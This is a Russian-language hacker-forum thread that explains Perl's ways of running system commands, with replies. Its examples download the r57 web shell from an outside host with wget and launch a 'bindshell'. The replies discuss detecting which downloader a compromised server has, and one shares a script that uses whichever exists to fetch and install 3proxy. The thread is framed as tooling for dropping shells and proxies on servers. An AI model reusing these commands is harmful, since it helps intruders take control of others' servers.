Выполнение системных комманд под перлом 1: Просто выполняем комманду но не получаем вывода: system("wget –O shell.php rst.void.ru/download/r57shell.txt "); 2: Передаем выполнение другой программе, в этом случае исполнение текущей прерывается: exec("./bindshell"); 3: Выполняем комманду и сохраняем вывод в переменной: Строка заключенная вот в такие кавычки ``( backticks) или в qx#string#(##это просто разделители, их можно выбирать самому) сначала интерпретируется (т.е. рассматривается значение переменных в этой строке ), а потом передается системному интерпретатору на выполнение. Здесь 2 варианта: а) если мы получим только одну строку chomp($date = qx#/usr/bin/date#); или chomp($date = `/usr/bin/date`); б) если мы планируем получить многострочный вывод: chomp(@alllines = qx#/usr/bin/who#); или chomp(@alllines = `/usr/bin/who`); chomp() служит для удаления переноса строки - \n. 4: open() и „Пайпинг“ Чтобы выполнить внешную комманду есть возможность использовать комманду open: Перл открывает пайп вместо файла, если во втором параметре первый или последний символ это |. Обычно в инклудах пишут пайп последним, перед ним комманду,вывод которой запишется в INFILE, т.е. используется нормальный способ работы в никсах пример: "echo juh|" выдаст нам juh Вот небольшой пример всех способов: --------------------------------------- PHP: #!/cygdrive/c/Perl/bin/perl -w use strict; my @lines; chomp(my $date = qx#date#); print $date; system("wget -O shell.php rst.void.ru/download/r57shell.txt "); open (DET,"|echo 'juh' >> shell.php"); open (DET,"cat shell.php |"); @lines = <DET>; foreach my $line (@lines) { print $line; } close(DET); exec("echo 'ZHu-Zhu'"); echo ("No No, suda ne popadajem"); ------------------------------------------------ При написании пользовался http://builder.com.com/5100-6372-1050920.html (!точно по теме!) http://www.well.ox.ac.uk/~johnb/comp/perl/intro.html http://www.unix.org.ua/perl/op.htm
так-так неплохо...помоги а)) Нужно вот что Сначала system("which wget fetch lynx curl") надо узнать какой из них есть в системе а потом как сделать чтоб скрипт принял ответ сервака и пользовался той качалкой какая есть в системе?
монстр, могу на php такое тебе дать, я уже делал подобное, можешь такой код стырить с моего переделанного шелла, там как раз это определяеться
Я скрипт написал для установки 3proxy, оттуда: PHP: my $downloader = checkDownloader(); if ($downloader=="wget") {$cmd="wget -O $proxyPath $proxyWebAddr";} if ($downloader=="get") {$cmd="get -o $proxyPath $proxyWebAddr";} if ($downloader=="fetch") {$cmd="fetch -o $proxyPath $proxyWebAddr";} if ($downloader=="curl") {$cmd="curl --output $proxyPath $proxyWebAddr";} if ($downloader=="links") {$cmd="links -source $proxyWebAddr > $proxyPath";} if ($downloader=="lynx") {$cmd="lynx -source $proxyWebAddr > $proxyPath";} `$cmd`; sub checkDownloader() { my @downloaders = ("wget","get","fetch","curl","links","lynx"); foreach my $testCmd (@downloaders) { if (`which $testCmd`) {return $testCmd;} } die("No downloader found"); } здесь $proxyPath - куда лить, а $proxyWebAddr - откуда...